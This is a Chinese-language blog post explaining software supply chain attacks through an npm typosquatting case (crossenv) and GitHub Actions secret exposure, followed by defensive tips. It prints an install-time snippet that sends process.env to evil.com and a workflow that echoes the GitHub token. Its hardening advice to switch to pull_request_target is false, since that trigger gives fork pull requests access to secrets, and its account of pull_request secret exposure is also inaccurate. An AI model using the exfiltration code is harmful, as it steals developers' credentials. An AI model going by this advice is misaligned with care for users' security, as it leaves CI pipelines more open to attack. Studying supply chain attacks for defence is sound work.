从锁文件到锁门-npm 的自我修养(软件供应链攻击)

发布于:2025-04-04 ⋅ 阅读:(20) ⋅ 点赞:(0)

📦 软件供应链攻击入门:npm typosquatting 与 GitHub Actions 实录

软件供应链攻击正迅速成为网络攻击的新主战场,从 SolarWinds 到 recent npm hijack,攻击者正利用开发者的信任漏洞,从最微小的依赖或自动化配置中撬动整个系统。
在这里插入图片描述


🧠 软件供应链攻击概述

什么是“供应链攻击”?

软件供应链攻击,是指攻击者通过污染、劫持或篡改软件开发和交付链路中的第三方组件,以控制目标系统或数据为目的的攻击方式。

攻击者常用入口:

  • 开源依赖(如 npm、PyPI、Maven)
  • CI/CD 自动化脚本(GitHub Actions, GitLab CI)
  • 容器镜像(Docker Hub 上的“伪官方镜像”)
  • 插件市场、浏览器扩展商店

🧪 案例一:npm Typosquatting(拼写诱骗)

🎯 攻击机制解析

攻击者注册一个名称极为相似于常用包的恶意 npm 包,并在内部添加窃密或远程代码执行逻辑,诱使开发者误安装。

🔥 实战案例:cross-env vs crossenv

在 2017 年,一位攻击者发布了名为 crossenv 的恶意包,伪装成流行包 cross-env

npm install crossenv

该恶意包在安装时自动执行脚本:

const http = require('http');
http.get("http://evil.com/?env=" + JSON.stringify(process.env));

🔍 影响

  • 泄露环境变量中的 Token、数据库密码、云密钥
  • 可能进一步自动化横向移动(如通过泄露的 CI/CD 凭证)

📌 攻击扩展形式

  • 包劫持:旧项目无人维护,攻击者通过账号盗取或收购维护权
  • 依赖污染(Dependency Confusion):企业内私有包名在公网未注册,被恶意 npm 包抢注

🧪 案例二:GitHub Actions 提权与信息泄露

🔓 漏洞原理

当开源项目配置了 GitHub Actions,并允许 fork 的用户提交 PR 自动触发 CI 运行时,攻击者可通过注入恶意脚本执行远程命令、访问仓库 Secrets。

📌 漏洞配置示例(不安全):

on: [pull_request]

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - run: echo "${{ secrets.GITHUB_TOKEN }}"

该配置会在PR 来自 fork 的仓库时运行,并暴露仓库的 Secrets 令牌。

⚠️ 危害:

  • 获取 GITHUB_TOKEN 后可读/写目标仓库
  • 借此替换源码、添加后门或泄露私密信息
  • 可作为跳板进入企业内部系统

📌 真实案例:

  • Codecov Bash uploader 后门事件
  • GitHub Actions Token 泄露实验

🛡️ 防御实践(DevSecOps 建议)

✋ 对开发者 & 运维

  • 明确白名单依赖版本 + 启用锁定文件(package-lock.json
  • 定期执行:npm audit fix / yarn audit / pip-audit
  • 不从公网仓库安装公司内网专用包(预防 Dependency Confusion)

🔐 对 GitHub Actions 管理员

  • 对 PR 使用 pull_request_target 事件,避免 fork 提交脚本直接执行
  • 设置 permissions 细化令牌访问:
permissions:
  contents: read
  issues: write
  actions: none
  • 设置 secrets 访问策略:

    • 不对 PR 触发器开放 secrets
    • 使用 GITHUB_ENV 等方式传递非敏感信息

🔧 推荐工具与检测实践

工具 / 技术 功能
npm audit 检测 npm 依赖漏洞
truffleHog / Gitleaks 检测源码中的敏感信息泄露
lockfile-lint 限制依赖只能从白名单仓库安装
OWASP Dependency-Check 静态扫描三方依赖的已知漏洞
SLSA Framework 供应链安全等级框架

✅ 总结建议

  • 📌 软件供应链攻击往往源于信任滥用,防御关键在于细节控制
  • 🚫 不使用不熟悉的依赖包;复制代码前先看清“作者”
  • 🔐 尽量使用私有仓库托管 CI/CD,避免泄密
  • 🧠 开发阶段应“安全左移”,将检测环节提前至提交/构建阶段


网站公告

今日签到

点亮在社区的每一天
去签到